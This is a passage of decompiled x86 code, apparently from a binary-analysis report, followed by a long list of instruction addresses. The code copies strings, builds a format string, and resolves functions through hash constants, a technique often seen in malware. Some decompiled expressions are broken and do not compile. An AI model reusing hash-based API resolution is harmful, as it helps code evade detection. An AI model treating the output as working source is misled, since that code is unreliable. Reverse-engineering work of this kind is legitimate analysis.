				char _t492;
				char _t493;
				char _t494;
				signed int _t497;
				char* _t499;
				void* _t505;
				unsigned int _t506;
				void* _t512;
				char* _t514;
				void* _t520;
				void* _t521;
				void* _t522;
				void* _t523;
				signed int _t524;
				void* _t531;
				void* _t537;
				void* _t543;
				signed int _t544;
				signed int _t548;
				void* _t551;
				void* _t552;
				void* _t553;

				_t306 = __ecx;
				_push(0x40);
				_t496 = __edx;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t514 = E6EFF1030();
				_t551 = (_t548 & 0xfffffff0) - 0x34 + 4;
				_t320 =  *__ecx;
				if(_t320 == 0) {
					 *_t514 = 0;
				} else {
					if(_t514 != 0) {
						_t492 =  *_t320;
						 *_t514 = _t492;
						if(_t492 != 0) {
							_v68 = __edx;
							_t304 = 0;
							while(1) {
								_t304 = _t304 + 1;
								_t493 =  *((char*)(_t320 + _t304 * 2 - 1));
								 *((char*)(_t514 + _t304 * 2 - 1)) = _t493;
								if(_t493 == 0) {
									break;
								}
								_t494 =  *((char*)(_t320 + _t304 * 2));
								 *((char*)(_t514 + _t304 * 2)) = _t494;
								if(_t494 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
					}
					_push(1);
					_push(_t320);
					E6EFF10B0();
					_t551 = _t551 + 8;
				}
				_v44 = 0;
				_push(0x40);
				 *_t306 = _t514;
				 *((intOrPtr*)(_t306 + 4)) = 0x40;
				_t264 = E6EFF1030();
				_t552 = _t551 + 4;
				_t321 = _v44;
				if(_t321 == 0) {
					 *_t264 = 0;
					_v40 = 0x40;
					_v44 = _t264;
					goto L18;
				} else {
					if(_t264 == 0) {
						_push(1);
						_push(_t321);
						E6EFF10B0();
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_t520 = 0;
						_v44 = 0;
						goto L29;
					} else {
						_t489 =  *_t321;
						 *_t264 = _t489;
						if(_t489 != 0) {
							_v40 = 0;
							_t544 = 0;
							_v68 = _t496;
							while(1) {
								_t544 = _t544 + 1;
								_t490 =  *((char*)(_t321 + _t544 * 2 - 1));
								 *((char*)(_t264 + _t544 * 2 - 1)) = _t490;
								if(_t490 == 0) {
									break;
								}
								_t491 =  *((char*)(_t321 + _t544 * 2));
								 *((char*)(_t264 + _t544 * 2)) = _t491;
								if(_t491 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
						_push(1);
						_push(_t321);
						_v64 = _t264;
						E6EFF10B0();
						_t264 = _v64;
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_v44 = _t264;
						L18:
						_t387 = _t264 & 0x0000000f;
						if(_t387 == 0) {
							L22:
							asm("pxor xmm0, xmm0");
							_t520 =  ~( ~_t387 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t321 != 0) {
									break;
								}
								_t387 = _t387 + 0x10;
								if(_t387 < _t520) {
									continue;
								} else {
									if(_t520 >= 0x7fffffff) {
										L28:
										_t520 = 0x7fffffff;
										goto L29;
									} else {
										while( *((char*)(_t520 + _t264)) != 0) {
											_t520 = _t520 + 1;
											if(_t520 < 0x7fffffff) {
												continue;
											} else {
												goto L28;
											}
											goto L30;
										}
										goto L250;
									}
								}
								goto L30;
							}
							asm("bsf esi, ecx");
							_t520 = _t520 + _t387;
							goto L250;
						} else {
							_t520 = 0;
							_t387 =  ~_t387 + 0x10;
							while( *((char*)(_t520 + _t264)) != 0) {
								_t520 = _t520 + 1;
								if(_t520 < _t387) {
									continue;
								} else {
									goto L22;
								}
								goto L30;
							}
							L250:
							if(_t520 != 0xfffffffe || _t264 == 0) {
								L29:
								_t322 = 0x40;
							} else {
								 *_t264 = 0;
								_t322 = _v40;
							}
							goto L30;
							L124:
							 *((char*)(_t269 + _t523)) = 0x64;
							_t417 = _v44;
							 *((char*)(_t523 + _t417 + 1)) = 0;
							if(_a4 == 0) {
								_v32 = _t496;
								_t497 = _v44;
								_v36 = _t497;
								_push(0x200);
								_t524 = E6EFF1030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t272 = E6EFF15C0(0x588ab3ea, 0x8a156a0e);
								if(_t272 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t418 =  *_t308;
										if(_t418 != 0) {
											 *_t418 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6EFF1030();
											_t553 = _t553 + 4;
											_t344 =  *_t308;
											if(_t344 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t420 =  *_t344;
													 *_t499 = _t420;
													if(_t420 != 0) {
														_v24 = _t308;
														_t421 = 0;
														while(1) {
															_t421 = _t421 + 1;
															_t278 =  *((char*)(_t344 + _t421 * 2 - 1));
															 *((char*)(_t499 + _t421 * 2 - 1)) = _t278;
															if(_t278 == 0) {
																break;
															}
															_t279 =  *((char*)(_t344 + _t421 * 2));
															 *((char*)(_t499 + _t421 * 2)) = _t279;
															if(_t279 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t344);
												E6EFF10B0();
												_t553 = _t553 + 8;
											}
											goto L225;
										}
									} else {
										_t346 = _t524 & 0x0000000f;
										if(_t346 == 0) {
											L184:
											asm("pxor xmm0, xmm0");
											_t505 =  ~( ~_t346 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t417 != 0) {
													break;
												}
												_t346 = _t346 + 0x10;
												if(_t346 < _t505) {
													continue;
												} else {
													if(_t505 >= 0x7fffffff) {
														L190:
														_t505 = 0x7fffffff;
													} else {
														while( *((char*)(_t505 + _t524)) != 0) {
															_t505 = _t505 + 1;
															if(_t505 < 0x7fffffff) {
																continue;
															} else {
																goto L190;
															}
															goto L191;
														}
														goto L234;
													}
												}
												goto L191;
											}
											asm("bsf edi, edx");
											_t505 = _t505 + _t346;
											goto L234;
										} else {
											_t505 = 0;
											_t346 =  ~_t346 + 0x10;
											while( *((char*)(_t505 + _t524)) != 0) {
												_t505 = _t505 + 1;
												if(_t505 < _t346) {
													continue;
												} else {
													goto L184;
												}
												goto L191;
											}
											L234:
											if(_t505 == 0xffffffff) {
												_t436 =  *_t308;
												if(_t436 != 0) {
													 *_t436 = 0;
												}
											}
										}
										L191:
										_t216 = _t505 + 1; // 0x80000000
										_t348 =  <=  ? 0x40 : _t216;
										if(_t348 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t348 >> 5 >> 0x1a) + _t348 >> 6;
											_t349 = _t348 & 0x8000003f;
											if(_t349 < 0) {
												_t349 = (_t349 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t352 = _v64 + (0 | _t349 > 0x00000000) << 6;
											_v64 = _t352;
											_push(_t352);
											_t353 = E6EFF1030();
											_t553 = _t553 + 4;
											_t281 =  *_t308;
											if(_t281 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t432 =  *_t281;
													 *_t353 = _t432;
													if(_t432 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t311 = 0;
														while(1) {
															_t311 = _t311 + 1;
															_t434 =  *((char*)(_t281 + _t311 * 2 - 1));
															 *((char*)(_t353 + _t311 * 2 - 1)) = _t434;
															if(_t434 == 0) {
																break;
															}
															_t435 =  *((char*)(_t281 + _t311 * 2));
															 *((char*)(_t353 + _t311 * 2)) = _t435;
															if(_t435 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t281);
												_v68 = _t353;
												E6EFF10B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t282 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t431 = 0;
											_t310 = _t282;
											while(1) {
												_t283 =  *_t310;
												_t431 = _t431 + 1;
												 *_t353 = _t283;
												if(_t505 != 0 && _t431 == _t505) {
													goto L228;
												}
												if(_t283 == 0) {
													goto L229;
												} else {
													_t353 = _t353 + 1;
													_t310 = _t310 + 1;
													continue;
												}
												goto L226;
											}
											goto L228;
										}
									}
									goto L226;
								} else {
									_push( &_v32);
									_push(_t497);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t272;
								}
							} else {
								_v52 = _t496;
								_t438 = _a4;
								_t506 = _v44;
								_v56 = _t438;
								_v60 = _t506;
								_push(0x200);
								_t524 = E6EFF1030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t287 = E6EFF15C0(0x588ab3ea, 0x8a156a0e);
								if(_t287 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t439 =  *_t308;
										if(_t439 != 0) {
											 *_t439 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6EFF1030();
											_t553 = _t553 + 4;
											_t357 =  *_t308;
											if(_t357 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t440 =  *_t357;
													 *_t499 = _t440;
													if(_t440 != 0) {
														_v24 = _t308;
														_t441 = 0;
														while(1) {
															_t441 = _t441 + 1;
															_t290 =  *((char*)(_t357 + _t441 * 2 - 1));
															 *((char*)(_t499 + _t441 * 2 - 1)) = _t290;
															if(_t290 == 0) {
																break;
															}
															_t291 =  *((char*)(_t357 + _t441 * 2));
															 *((char*)(_t499 + _t441 * 2)) = _t291;
															if(_t291 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t357);
												E6EFF10B0();
												_t553 = _t553 + 8;
											}
											L225:
											 *_t308 = _t499;
											 *((intOrPtr*)(_t308 + 4)) = 0x40;
										}
									} else {
										_t359 = _t524 & 0x0000000f;
										if(_t359 == 0) {
											L134:
											asm("pxor xmm0, xmm0");
											_t512 =  ~( ~_t359 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t438 != 0) {
													break;
												}
												_t359 = _t359 + 0x10;
												if(_t359 < _t512) {
													continue;
												} else {
													if(_t512 >= 0x7fffffff) {
														L140:
														_t512 = 0x7fffffff;
													} else {
														while( *((char*)(_t512 + _t524)) != 0) {
															_t512 = _t512 + 1;
															if(_t512 < 0x7fffffff) {
																continue;
															} else {
																goto L140;
															}
															goto L141;
														}
														goto L230;
													}
												}
												goto L141;
											}
											asm("bsf edi, edx");
											_t512 = _t512 + _t359;
											goto L230;
										} else {
											_t512 = 0;
											_t359 =  ~_t359 + 0x10;
											while( *((char*)(_t512 + _t524)) != 0) {
												_t512 = _t512 + 1;
												if(_t512 < _t359) {
													continue;
												} else {
													goto L134;
												}
												goto L141;
											}
											L230:
											if(_t512 == 0xffffffff) {
												_t456 =  *_t308;
												if(_t456 != 0) {
													 *_t456 = 0;
												}
											}
										}
										L141:
										_t171 = _t512 + 1; // 0x80000000
										_t361 =  <=  ? 0x40 : _t171;
										if(_t361 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t361 >> 5 >> 0x1a) + _t361 >> 6;
											_t362 = _t361 & 0x8000003f;
											if(_t362 < 0) {
												_t362 = (_t362 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t365 = _v64 + (0 | _t362 > 0x00000000) << 6;
											_v64 = _t365;
											_push(_t365);
											_t353 = E6EFF1030();
											_t553 = _t553 + 4;
											_t293 =  *_t308;
											if(_t293 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t452 =  *_t293;
													 *_t353 = _t452;
													if(_t452 != 0) {
														_v68 = _t524;
														_v24 = _t308;
														_t314 = 0;
														while(1) {
															_t314 = _t314 + 1;
															_t454 =  *((char*)(_t293 + _t314 * 2 - 1));
															 *((char*)(_t353 + _t314 * 2 - 1)) = _t454;
															if(_t454 == 0) {
																break;
															}
															_t455 =  *((char*)(_t293 + _t314 * 2));
															 *((char*)(_t353 + _t314 * 2)) = _t455;
															if(_t455 != 0) {
																continue;
															}
															break;
														}
														_t524 = _v68;
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t293);
												_v68 = _t353;
												E6EFF10B0();
												_t353 = _v68;
												_t553 = _t553 + 8;
											}
											 *((intOrPtr*)(_t308 + 4)) = _v64;
											 *_t308 = _t353;
										} else {
											_t353 =  *_t308;
										}
										_t294 = _t524;
										if(_t353 != 0 && _t524 != 0) {
											_v24 = _t308;
											_t451 = 0;
											_t313 = _t294;
											while(1) {
												_t295 =  *_t313;
												_t451 = _t451 + 1;
												 *_t353 = _t295;
												if(_t512 != 0 && _t451 == _t512) {
													break;
												}
												if(_t295 == 0) {
													L229:
													_t308 = _v24;
												} else {
													_t353 = _t353 + 1;
													_t313 = _t313 + 1;
													continue;
												}
												goto L226;
											}
											L228:
											_t308 = _v24;
											 *((char*)(_t353 + 1)) = 0;
										}
									}
									L226:
									_push(1);
									_push(_t524);
									E6EFF10B0();
									_push(1);
									_push(_v44);
									E6EFF10B0();
									_v44 = 0;
									_v40 = 0;
									return _t308;
								} else {
									_push( &_v56);
									_push(_t506);
									_push(0x200);
									_push(_t524);
									asm("int3");
									return _t287;
								}
							}
						}
					}
				}
				L30:
				_t34 = _t520 + 2; // -2147483660
				_t389 =  <=  ? 0x40 : _t34;
				if(_t322 < _t389) {
					_t327 = (_t389 >> 5 >> 0x1a) + _t389 >> 6;
					_v60 = _t327;
					_t390 = _t389 & 0x8000003f;
					if(_t390 < 0) {
						_t390 = (_t390 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t329 = _t327 + (0 | _t390 > 0x00000000) << 6;
					_v60 = _t329;
					_push(_t329);
					_t266 = E6EFF1030();
					_t552 = _t552 + 4;
					_t330 = _v44;
					if(_t330 == 0) {
						 *_t266 = 0;
					} else {
						if(_t266 != 0) {
							_t482 =  *_t330;
							 *_t266 = _t482;
							if(_t482 != 0) {
								_v24 = _t306;
								_t318 = 0;
								_v68 = _t496;
								while(1) {
									_t318 = _t318 + 1;
									_t484 =  *((char*)(_t330 + _t318 * 2 - 1));
									 *((char*)(_t266 + _t318 * 2 - 1)) = _t484;
									if(_t484 == 0) {
										break;
									}
									_t485 =  *((char*)(_t330 + _t318 * 2));
									 *((char*)(_t266 + _t318 * 2)) = _t485;
									if(_t485 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t330);
						_v64 = _t266;
						E6EFF10B0();
						_t266 = _v64;
						_t552 = _t552 + 8;
					}
					_v40 = _v60;
					_v44 = _t266;
				} else {
					_t266 = _v44;
				}
				 *((char*)(_t266 + _t520)) = 0x25;
				 *((char*)(_t520 + _v44 + 1)) = 0;
				if(_a4 != 0) {
					_t395 = _v44;
					if(_t395 == 0) {
						_t521 = 0;
					} else {
						_t381 = _t395 & 0x0000000f;
						if(_t381 == 0) {
							L51:
							asm("pxor xmm0, xmm0");
							_t543 =  ~( ~_t381 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [edx+ecx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								if(_t266 != 0) {
									break;
								}
								_t381 = _t381 + 0x10;
								if(_t381 < _t543) {
									continue;
								} else {
									if(_t543 >= 0x7fffffff) {
										L57:
										_t521 = 0x7fffffff;
									} else {
										while( *((char*)(_t543 + _t395)) != 0) {
											_t543 = _t543 + 1;
											if(_t543 < 0x7fffffff) {
												continue;
											} else {
												goto L57;
											}
											goto L58;
										}
										goto L246;
									}
								}
								goto L58;
							}
							asm("bsf esi, eax");
							_t521 = _t543 + _t381;
							goto L246;
						} else {
							_t521 = 0;
							_t381 =  ~_t381 + 0x10;
							while( *((char*)(_t521 + _t395)) != 0) {
								_t521 = _t521 + 1;
								if(_t521 < _t381) {
									continue;
								} else {
									goto L51;
								}
								goto L58;
							}
							L246:
							if(_t521 == 0xfffffffe) {
								 *_t395 = 0;
							}
						}
					}
					L58:
					_t332 =  <=  ? 0x40 : _t521 + 2;
					if(_t332 > _v40) {
						_v60 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
						_t333 = _t332 & 0x8000003f;
						if(_t333 < 0) {
							_t333 = (_t333 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t336 = _v60 + (0 | _t333 > 0x00000000) << 6;
						_v60 = _t336;
						_push(_t336);
						_t267 = E6EFF1030();
						_t552 = _t552 + 4;
						_t332 = _v44;
						if(_t332 == 0) {
							 *_t267 = 0;
						} else {
							if(_t267 != 0) {
								_t478 =  *_t332;
								 *_t267 = _t478;
								if(_t478 != 0) {
									_v24 = _t306;
									_t317 = 0;
									_v68 = _t496;
									while(1) {
										_t317 = _t317 + 1;
										_t480 =  *((char*)(_t332 + _t317 * 2 - 1));
										 *((char*)(_t267 + _t317 * 2 - 1)) = _t480;
										if(_t480 == 0) {
											break;
										}
										_t481 =  *((char*)(_t332 + _t317 * 2));
										 *((char*)(_t267 + _t317 * 2)) = _t481;
										if(_t481 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
								}
							}
							_push(1);
							_push(_t332);
							_v64 = _t267;
							E6EFF10B0();
							_t267 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t267;
					} else {
						_t267 = _v44;
					}
					 *((char*)(_t267 + _t521)) = 0x30;
					 *((char*)(_t521 + _v44 + 1)) = 0;
					_t268 = _v44;
					if(_t268 == 0) {
						_t522 = 0;
					} else {
						_t476 = _t268 & 0x0000000f;
						if(_t476 == 0) {
							L77:
							asm("pxor xmm0, xmm0");
							_t537 =  ~( ~_t476 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t332 != 0) {
									break;
								}
								_t476 = _t476 + 0x10;
								if(_t476 < _t537) {
									continue;
								} else {
									if(_t537 >= 0x7fffffff) {
										L83:
										_t522 = 0x7fffffff;
									} else {
										while( *((char*)(_t537 + _t268)) != 0) {
											_t537 = _t537 + 1;
											if(_t537 < 0x7fffffff) {
												continue;
											} else {
												goto L83;
											}
											goto L84;
										}
										goto L242;
									}
								}
								goto L84;
							}
							asm("bsf esi, ecx");
							_t522 = _t537 + _t476;
							goto L242;
						} else {
							_t522 = 0;
							_t476 =  ~_t476 + 0x10;
							while( *((char*)(_t522 + _t268)) != 0) {
								_t522 = _t522 + 1;
								if(_t522 < _t476) {
									continue;
								} else {
									goto L77;
								}
								goto L84;
							}
							L242:
							if(_t522 == 0xfffffffe) {
								 *_t268 = 0;
							}
						}
					}
					L84:
					_t330 = 0x40;
					_t407 =  <=  ? 0x40 : _t522 + 2;
					if(_t407 > _v40) {
						_t375 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
						_v60 = _t375;
						_t465 = _t407 & 0x8000003f;
						if(_t465 < 0) {
							_t465 = (_t465 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t377 = _t375 + (0 | _t465 > 0x00000000) << 6;
						_v60 = _t377;
						_push(_t377);
						_t268 = E6EFF1030();
						_t552 = _t552 + 4;
						_t330 = _v44;
						if(_t330 == 0) {
							 *_t268 = 0;
						} else {
							if(_t268 != 0) {
								_t469 =  *_t330;
								 *_t268 = _t469;
								if(_t469 != 0) {
									_v24 = _t306;
									_t316 = 0;
									_v68 = _t496;
									while(1) {
										_t316 = _t316 + 1;
										_t471 =  *((char*)(_t330 + _t316 * 2 - 1));
										 *((char*)(_t268 + _t316 * 2 - 1)) = _t471;
										if(_t471 == 0) {
											break;
										}
										_t472 =  *((char*)(_t330 + _t316 * 2));
										 *((char*)(_t268 + _t316 * 2)) = _t472;
										if(_t472 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
									_t330 = _v44;
								}
							}
							_push(1);
							_push(_t330);
							_v64 = _t268;
							E6EFF10B0();
							_t268 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t268;
					}
					 *((char*)(_t268 + _t522)) = 0x2a;
					 *((char*)(_t268 + _t522 + 1)) = 0;
				} else {
					_t268 = _v44;
				}
				if(_t268 == 0) {
					_t523 = 0;
				} else {
					_t463 = _t268 & 0x0000000f;
					if(_t463 == 0) {
						L103:
						asm("pxor xmm0, xmm0");
						_t531 =  ~( ~_t463 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [eax+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb ecx, xmm1");
							if(_t330 != 0) {
								break;
							}
							_t463 = _t463 + 0x10;
							if(_t463 < _t531) {
								continue;
							} else {
								if(_t531 >= 0x7fffffff) {
									L109:
									_t523 = 0x7fffffff;
								} else {
									while( *((char*)(_t531 + _t268)) != 0) {
										_t531 = _t531 + 1;
										if(_t531 < 0x7fffffff) {
											continue;
										} else {
											goto L109;
										}
										goto L110;
									}
									goto L238;
								}
							}
							goto L110;
						}
						asm("bsf esi, ecx");
						_t523 = _t531 + _t463;
						goto L238;
					} else {
						_t523 = 0;
						_t463 =  ~_t463 + 0x10;
						while( *((char*)(_t523 + _t268)) != 0) {
							_t523 = _t523 + 1;
							if(_t523 < _t463) {
								continue;
							} else {
								goto L103;
							}
							goto L110;
						}
						L238:
						if(_t523 == 0xfffffffe) {
							 *_t268 = 0;
						}
					}
				}
				L110:
				_t338 =  <=  ? 0x40 : _t523 + 2;
				if(_t338 > _v40) {
					_v64 = (_t338 >> 5 >> 0x1a) + _t338 >> 6;
					_t339 = _t338 & 0x8000003f;
					if(_t339 < 0) {
						_t339 = (_t339 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t342 = _v64 + (0 | _t339 > 0x00000000) << 6;
					_v64 = _t342;
					_push(_t342);
					_t269 = E6EFF1030();
					_t552 = _t552 + 4;
					_t343 = _v44;
					if(_t343 == 0) {
						 *_t269 = 0;
					} else {
						if(_t269 != 0) {
							_t458 =  *_t343;
							 *_t269 = _t458;
							if(_t458 != 0) {
								_v24 = _t306;
								_t315 = 0;
								_v68 = _t496;
								while(1) {
									_t315 = _t315 + 1;
									_t460 =  *((char*)(_t343 + _t315 * 2 - 1));
									 *((char*)(_t269 + _t315 * 2 - 1)) = _t460;
									if(_t460 == 0) {
										break;
									}
									_t461 =  *((char*)(_t343 + _t315 * 2));
									 *((char*)(_t269 + _t315 * 2)) = _t461;
									if(_t461 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t343);
						_v68 = _t269;
						E6EFF10B0();
						_t269 = _v68;
						_t552 = _t552 + 8;
					}
					_v40 = _v64;
					_v44 = _t269;
				} else {
					_t269 = _v44;
				}
				goto L124;
			}

0x6f0062fc
0x6f0062fe
0x6f006300
0x6f006304
0x6f006306
0x6f00630e
0x6f006310
0x6f006313
0x6f006317
0x6f006354
0x6f006319
0x6f00631b
0x6f00631d
0x6f006320
0x6f006324
0x6f006326
0x6f006329
0x6f00632b
0x6f00632b
0x6f00632c
0x6f006331
0x6f006337
0x00000000
0x00000000
0x6f006339
0x6f00633d
0x6f006342
0x00000000
0x00000000
0x00000000
0x6f006342
0x6f006344
0x6f006344
0x6f006324
0x6f006347
0x6f006349
0x6f00634a
0x6f00634f
0x6f00634f
0x6f00635c
0x6f006364
0x6f006365
0x6f006367
0x6f00636a
0x6f00636f
0x6f006372
0x6f006378
0x6f0063d5
0x6f0063d8
0x6f0063e0
0x00000000
0x6f00637a
0x6f00637c
0x6f006dc0
0x6f006dc2
0x6f006dc3
0x6f006dc8
0x6f006dcb
0x6f006dd3
0x6f006dd5
0x00000000
0x6f006382
0x6f006382
0x6f006385
0x6f006389
0x6f00638b
0x6f006393
0x6f006395
0x6f006398
0x6f006398
0x6f006399
0x6f00639e
0x6f0063a4
0x00000000
0x00000000
0x6f0063a6
0x6f0063aa
0x6f0063af
0x00000000
0x00000000
0x00000000
0x6f0063af
0x6f0063b1
0x6f0063b1
0x6f0063b4
0x6f0063b6
0x6f0063b7
0x6f0063bb
0x6f0063c0
0x6f0063c4
0x6f0063c7
0x6f0063cf
0x6f0063e4
0x6f0063e6
0x6f0063e9
0x6f006401
0x6f006405
0x6f006411
0x6f006417
0x6f006417
0x6f00641c
0x6f006420
0x6f006426
0x00000000
0x00000000
0x6f00642c
0x6f006431
0x00000000
0x6f006433
0x6f006439
0x6f00644e
0x6f00644e
0x00000000
0x6f00643b
0x6f00643b
0x6f006445
0x6f00644c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00644c
0x00000000
0x6f00643b
0x6f006439
0x00000000
0x6f006431
0x6f006eb0
0x6f006eb3
0x00000000
0x6f0063eb
0x6f0063ed
0x6f0063ef
0x6f0063f2
0x6f0063fc
0x6f0063ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0063ff
0x6f006e93
0x6f006e96
0x6f006453
0x6f006453
0x6f006ea4
0x6f006ea4
0x6f006ea7
0x6f006ea7
0x00000000
0x6f0068ea
0x6f0068ea
0x6f0068ee
0x6f0068f6
0x6f0068fb
0x6f006b4d
0x6f006b51
0x6f006b55
0x6f006b59
0x6f006b63
0x6f006b65
0x6f006b6d
0x6f006b7d
0x6f006b84
0x6f006baf
0x6f006bb5
0x6f006d25
0x6f006d29
0x6f006d2b
0x6f006d2b
0x6f006d32
0x6f006d34
0x6f006d3b
0x6f006d3d
0x6f006d40
0x6f006d44
0x6f006d83
0x6f006d46
0x6f006d48
0x6f006d4a
0x6f006d4d
0x6f006d51
0x6f006d53
0x6f006d57
0x6f006d59
0x6f006d59
0x6f006d5a
0x6f006d5f
0x6f006d65
0x00000000
0x00000000
0x6f006d67
0x6f006d6b
0x6f006d70
0x00000000
0x00000000
0x00000000
0x6f006d70
0x6f006d72
0x6f006d72
0x6f006d51
0x6f006d76
0x6f006d78
0x6f006d79
0x6f006d7e
0x6f006d7e
0x00000000
0x6f006d44
0x6f006bc4
0x6f006bc6
0x6f006bc9
0x6f006be1
0x6f006be5
0x6f006bf1
0x6f006bf7
0x6f006bf7
0x6f006bfc
0x6f006c00
0x6f006c06
0x00000000
0x00000000
0x6f006c0c
0x6f006c11
0x00000000
0x6f006c13
0x6f006c19
0x6f006c2e
0x6f006c2e
0x6f006c1b
0x6f006c1b
0x6f006c25
0x6f006c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f006c2c
0x00000000
0x6f006c1b
0x6f006c19
0x00000000
0x6f006c11
0x6f006e2f
0x6f006e32
0x00000000
0x6f006bcb
0x6f006bcd
0x6f006bcf
0x6f006bd2
0x6f006bdc
0x6f006bdf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f006bdf
0x6f006e14
0x6f006e17
0x6f006e1d
0x6f006e21
0x6f006e27
0x6f006e27
0x6f006e21
0x6f006e17
0x6f006c33
0x6f006c38
0x6f006c3e
0x6f006c44
0x6f006c5a
0x6f006c5e
0x6f006c64
0x6f006c6c
0x6f006c6c
0x6f006c7a
0x6f006c7d
0x6f006c81
0x6f006c87
0x6f006c89
0x6f006c8c
0x6f006c90
0x6f006cdf
0x6f006c92
0x6f006c94
0x6f006c96
0x6f006c99
0x6f006c9d
0x6f006ca1
0x6f006ca4
0x6f006ca8
0x6f006caa
0x6f006caa
0x6f006cab
0x6f006cb0
0x6f006cb6
0x00000000
0x00000000
0x6f006cb8
0x6f006cbc
0x6f006cc1
0x00000000
0x00000000
0x00000000
0x6f006cc1
0x6f006cc3
0x6f006cc6
0x6f006cc6
0x6f006c9d
0x6f006cca
0x6f006ccc
0x6f006ccd
0x6f006cd1
0x6f006cd6
0x6f006cda
0x6f006cda
0x6f006ce6
0x6f006ce9
0x6f006c46
0x6f006c46
0x6f006c46
0x6f006ceb
0x6f006cef
0x6f006cfd
0x6f006d01
0x6f006d03
0x6f006d09
0x6f006d09
0x6f006d0c
0x6f006d0d
0x6f006d11
0x00000000
0x00000000
0x6f006d1d
0x00000000
0x6f006d23
0x6f006d07
0x6f006d08
0x00000000
0x6f006d08
0x00000000
0x6f006d1d
0x00000000
0x6f006d09
0x6f006cef
0x00000000
0x6f006b86
0x6f006b8a
0x6f006b8b
0x6f006b8c
0x6f006b8d
0x6f006b8e
0x6f006b8f
0x6f006b8f
0x6f006901
0x6f006901
0x6f006905
0x6f006908
0x6f00690c
0x6f006910
0x6f006914
0x6f00691e
0x6f006920
0x6f006928
0x6f006938
0x6f00693f
0x6f00696a
0x6f006970
0x6f006ae0
0x6f006ae4
0x6f006ae6
0x6f006ae6
0x6f006aed
0x6f006af3
0x6f006afa
0x6f006afc
0x6f006aff
0x6f006b03
0x6f006b45
0x6f006b05
0x6f006b07
0x6f006b09
0x6f006b0c
0x6f006b10
0x6f006b12
0x6f006b16
0x6f006b18
0x6f006b18
0x6f006b19
0x6f006b1e
0x6f006b24
0x00000000
0x00000000
0x6f006b26
0x6f006b2a
0x6f006b2f
0x00000000
0x00000000
0x00000000
0x6f006b2f
0x6f006b31
0x6f006b31
0x6f006b10
0x6f006b35
0x6f006b37
0x6f006b38
0x6f006b3d
0x6f006b3d
0x6f006d86
0x6f006d86
0x6f006d88
0x6f006d88
0x6f00697f
0x6f006981
0x6f006984
0x6f00699c
0x6f0069a0
0x6f0069ac
0x6f0069b2
